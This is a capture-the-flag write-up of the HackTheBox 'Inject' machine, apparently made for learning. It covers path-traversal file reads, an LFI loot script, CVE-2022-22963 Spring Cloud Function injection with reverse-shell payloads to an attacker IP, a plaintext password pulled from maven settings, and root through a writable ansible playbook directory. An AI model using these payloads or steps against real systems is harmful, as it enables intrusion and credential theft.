inject.png

Inject#

Enum#

nmap -sC -sV 10.10.11.204 -oN scans/nmap.initial
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 18:09 GMT
Nmap scan report for 10.10.11.204
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
dirsearch -r -u http://10.10.11.204:8080

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/blnkn/.dirsearch/reports/10.10.11.204-8080/_23-03-12_18-17-42.txt

Error Log: /home/blnkn/.dirsearch/logs/errors-23-03-12_18-17-42.log

Target: http://10.10.11.204:8080/

[18:17:42] Starting:
[18:17:49] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:17:50] 400 -  435B  - /a%5c.aspx
[18:18:02] 200 -    5KB - /blogs
[18:18:08] 500 -  106B  - /error
[18:18:08] 500 -  106B  - /error/
[18:18:22] 200 -    6KB - /register
[18:18:27] 200 -    2KB - /upload
[18:18:27] 200 -    2KB - /upload/     (Added to queue)
[18:18:31] Starting: upload/
[18:18:44] 400 -  435B  - /upload/\..\..\..\..\..\..\..\..\..\etc\passwd
[18:18:45] 400 -  435B  - /upload/a%5c.aspx

Task Completed
ffuf -c \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u "http://10.10.11.204:8080/FUZZ" \
  -mc all \
  -fc 404

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.204:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

[Status: 200, Size: 5654, Words: 1053, Lines: 104, Duration: 104ms]
    * FUZZ: register

[Status: 200, Size: 1857, Words: 513, Lines: 54, Duration: 46ms]
    * FUZZ: upload

[Status: 500, Size: 106, Words: 3, Lines: 1, Duration: 411ms]
    * FUZZ: error

[Status: 200, Size: 5371, Words: 1861, Lines: 113, Duration: 46ms]
    * FUZZ: blogs

[Status: 500, Size: 712, Words: 27, Lines: 1, Duration: 145ms]
    * FUZZ: environment

[Status: 200, Size: 6657, Words: 1785, Lines: 166, Duration: 109ms]
    * FUZZ:

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 36ms]
    * FUZZ: [

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 33ms]
    * FUZZ: plain]

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 38ms]
    * FUZZ: ]

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 32ms]
    * FUZZ: quote]

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 46ms]
    * FUZZ: extension]

[Status: 400, Size: 435, Words: 32, Lines: 1, Duration: 37ms]
    * FUZZ: [0-9]

:: Progress: [30000/30000] :: Job [1/1] :: 232 req/sec :: Duration: [0:02:53] :: Errors: 2 ::

People that posted on the blog

admin
Brandon Auger

After uploading things the upload page we get this:

10.10.11.204:8080/show_image?img=hamster.png
curl -i 'http://10.10.11.204:8080/show_image?img=hamster.png;or%201=1%20--%20-'
HTTP/1.1 500
Content-Type: application/json
Transfer-Encoding: chunked
Date: Sun, 12 Mar 2023 18:45:58 GMT
Connection: close

{
  "timestamp":"2023-03-12T18:45:59.095+00:00",
  "status":500,
  "error":"Internal Server Error",
  "message":"URL [file:/var/www/WebApp/src/main/uploads/hamster.png;or%201=1%20--%20-] cannot be resolved in the file system for checking its content length",
  "path":"/show_image"
}

huh…

curl -i 'http://10.10.11.204:8080/show_image?img=../../../../../../../../../etc/passwd'
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 1986
Date: Sun, 12 Mar 2023 18:51:55 GMT

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

Well that was easy

grep sh$ passwd
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
curl -I 'http://10.10.11.204:8080/show_image?img=../../../../../../../../../home/frank/.ssh/id_rsa'
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 2602
Date: Sun, 12 Mar 2023 18:54:52 GMT
curl -I 'http://10.10.11.204:8080/show_image?img=../../../../../../../../../home/phil/.ssh/id_rsa'
HTTP/1.1 500
Content-Type: application/json
Transfer-Encoding: chunked
Date: Sun, 12 Mar 2023 18:56:03 GMT
Connection: close
nmap -p 22 --script ssh-auth-methods 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-12 18:49 GMT
Nmap scan report for 10.10.11.204
Host is up (0.033s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-auth-methods:
|   Supported authentication methods:
|     publickey
|_    password

We can extract a private key for frank, but it’s not valid.

ssh -i frank_priv -o PubkeyAuthentication=yes -o PreferredAuthentications=publickey frank@10.10.11.204
frank@10.10.11.204: Permission denied (publickey,password).
ssh -i frank_priv -o PubkeyAuthentication=yes -o PreferredAuthentications=publickey phil@10.10.11.204
phil@10.10.11.204: Permission denied (publickey,password).
ssh -i frank_priv -o PubkeyAuthentication=yes -o PreferredAuthentications=publickey root@10.10.11.204
root@10.10.11.204: Permission denied (publickey,password).

The nginx virtual host config didn’t give us anyting else, root is at root /var/www/html;

curl 'http://10.10.11.204:8080/show_image?img=../../../../../../../../..//etc/nginx/sites-available/default' -O

which does not correspond whith what we know the upload page runs on /var/www/WebApp/src/main/uploads/hamster.png

Let’s try to automate the process a little bit:

import requests
from simple_chalk import green, red

URL = "http://10.10.11.204:8080/show_image?img=../../../../../../../../../"


def get_file(path):
    try:
        res = requests.get(URL + path, timeout=1)
    except (requests.exceptions.ReadTimeout,requests.exceptions.ConnectionError) as e:
        print(f"{red(e.__repr__)} - {path}")
        return

    if not str(res.status_code).startswith("2"):
        print(f"{red(res.status_code)} - {path}")
        return

    print(f"{green(res.status_code)} - {path}")
    file = path.split("/")[-1]
    local_path = "../loot/" + file
    with open(local_path, "w") as f:
        f.write(res.text)


if __name__ == "__main__":

    with open("/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt", "r") as f:
        seclist = f.readlines()

    for path in seclist:
        get_file(path.rstrip())

The hostname is just inject

cat hosts
127.0.0.1 localhost inject
127.0.1.1 inject

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Frank’s public and private keys don’t correspond

ssh-keygen -lf frank-pub
3072 SHA256:UCnBLc09TLqtdkBQHvowTU7dCOSs8xe0Nz8QB5Rkba8 frank@inject (RSA)
ssh-keygen -lf frank-priv
3072 SHA256:Bfekjq/lIl0rWrCsmTt4c4Yo+TtaLwyHOn82KWwUtXQ frank@inject (RSA)

If I trigger a 404 on purpose, the error looks like it could be tomcat: fourohfour.png

Let’s see what hacktricks suggests for tomcat pentesting hacktricks - tomcat

I tried a few tomcat related wordlists on the webroot that we know, without any success, so I tried to spinup some tomcat server on a docker container to get a better understanding of the expected file structure

GitHub - tomcat tutorial

git clone https://github.com/softwareyoga/docker-tomcat-tutorial.git
docker build -t tomcat-test .
docker run -d -p 80:8080 tomcat-test 
docker exec -it pedantic_easley /bin/bash
bash-4.4# pwd
/usr/local/tomcat/webapps/sample
bash-4.4# tree .
.
├── META-INF
│   ├── MANIFEST.MF
│   └── war-tracker
├── WEB-INF
│   ├── classes
│      └── mypackage
│          └── Hello.class
│   ├── lib
│   └── web.xml
├── hello.jsp
├── images
│   └── tomcat.gif
└── index.html

6 directories, 7 files

/var/www/WebApp/src/main/uploads/hamster.png

Found the pom.xml at /var/www/Webapp

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-parent</artifactId>
                <version>2.6.5</version>
                <relativePath/> <!-- lookup parent from repository -->
        </parent>
        <groupId>com.example</groupId>
        <artifactId>WebApp</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <name>WebApp</name>
        <description>Demo project for Spring Boot</description>
SNIP
         <dependency>
                        <groupId>org.springframework.cloud</groupId>
                        <artifactId>spring-cloud-function-web</artifactId>
                        <version>3.2.2</version>
         </dependency>

SNIP

One of the dependencies is spring cloud 3.2.2 and has an RCE vuln:
CVE-2022-22963
POC

git clone https://github.com/me2nuk/CVE-2022-22963.git
docker pull me2nuk/cves:2022-22963
docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::               (v2.4.13)

2023-03-12 22:58:23.346  INFO 8 --- [           main] com.example.SampleApplication            : Starting SampleApplication v2.0.0.RELEASE using Java 11.0.14.1 on 7e192f55c2e6 with PID 8 (/home/rce/spring-cloud-function-3.1.6/spring-cloud-function-samples/function-sample-pojo/target/function-sample-pojo-2.0.0.RELEASE.jar started by root in /home/rce/spring-cloud-function-3.1.6/spring-cloud-function-samples/function-sample-pojo)
2023-03-12 22:58:23.351  INFO 8 --- [           main] com.example.SampleApplication            : No active profile set, falling back to default profiles: default
kj2023-03-12 22:58:25.451  INFO 8 --- [           main] o.s.c.f.web.flux.FunctionHandlerMapping  : FunctionCatalog: org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRegistry@5e2a6991
2023-03-12 22:58:26.019  INFO 8 --- [           main] o.s.b.web.embedded.netty.NettyWebServer  : Netty started on port 8080
2023-03-12 22:58:26.044  INFO 8 --- [           main] com.example.SampleApplication            : Started SampleApplication in 3.649 seconds (JVM running for 11.741)
curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp
hsperfdata_root  pwned

The poc works fine on the docker image, lets try to ping ourselves back from the box

curl -X POST \
  http://10.10.11.204:8080/functionRouter \
  --data-raw 'data' \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping -c1 10.10.14.182")'
{"timestamp":"2023-03-12T23:03:53.222+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Works fine

sudo tcpdump -i tun0 -v icmp
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
22:53:31.188558 IP (tos 0x0, ttl 63, id 2456, offset 0, flags [DF], proto ICMP (1), length 84)
    10.10.11.204 > 10.10.14.182: ICMP echo request, id 5, seq 1, length 64
22:53:31.188582 IP (tos 0x0, ttl 64, id 53938, offset 0, flags [none], proto ICMP (1), length 84)
    10.10.14.182 > 10.10.11.204: ICMP echo reply, id 5, seq 1, length 64

Let’s try to get a reverse shels now

curl -X POST \
  http://10.10.11.204:8080/functionRouter \
  --data-raw 'data' \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("sh -i >& /dev/tcp/10.10.14.182/4242 0>&1")'

Failed

curl -X POST \
  http://10.10.11.204:8080/functionRouter \
  --data-raw 'data' \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.182 4242 >/tmp/f")'

Failed

This works and we got a shell as frank

curl -X POST \
  http://10.10.11.204:8080/functionRouter \
  --data-raw 'data' \
  -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.14.182/4242 0>&1")'

Frank does not have the user flag, but we can drop a pubkey in authorized_keys and get a better shell for more enumeration

Once we ssh to phil’s shell, we can see that /bin/bash is already suid. Left by another HTB user.
We’re here to learn so, I’m using the suid shell to login as root, and remove the suid from /bin/bash. Finally I log out and back in with the proper shell.

bash-5.0# /bin/bash -p
bash-5.0# chmod -s /bin/bash
bash-5.0# exit

Starting pspy64 there’s an ansible job that triggers every 2 min, that’s probably our golden ticket as it globs every file in the task folder, and it runs as root.

2023/03/13 18:44:01 CMD: UID=0    PID=77819  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

root and the staff group has access to write there

frank@inject:~$ ls -la /opt/automation/tasks
total 12
drwxrwxr-x 2 root staff 4096 Mar 13 18:52 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 13 18:52 playbook_1.yml

We don’t have staff access, but phil does, so we need to gain access to phil

frank@inject:~$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
frank@inject:~$ id phil
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

The password for phil is in the maven settings file in frank’s directory:

frank@inject:~/.m2$ pwd
/home/frank/.m2
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Now that we’re phil we should be able to write there

frank@inject:~$ su - phil
Password:
phil@inject:~$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

And at this stage it’s just a matter of writing a playbook that gives us a shell

phil@inject:/opt/automation/tasks$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/opt/automation/tasks$ ls -la
total 16
drwxrwxr-x 2 root staff 4096 Mar 13 19:04 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 13 19:04 playbook_1.yml
-rw-rw-r-- 1 phil phil   134 Mar 13 19:04 playbook_2.yml
phil@inject:/opt/automation/tasks$ vim playbook_2.yml
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
- hosts: localhost
  tasks:
  - name: powny
    ansible.builtin.command:
      argv:
        - chmod
        - +s
        - /bin/bash

Wait 2 minutes for the job to run, and here we go:

phil@inject:/opt/automation/tasks$ ls -la
total 12
drwxrwxr-x 2 root staff 4096 Mar 13 19:06 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 13 19:06 playbook_1.yml
phil@inject:/opt/automation/tasks$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Just drop suid for the next guy, and onto the next box

phil@inject:/opt/automation/tasks$ /bin/bash -p
bash-5.0# chmod -s /bin/bash
bash-5.0# ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash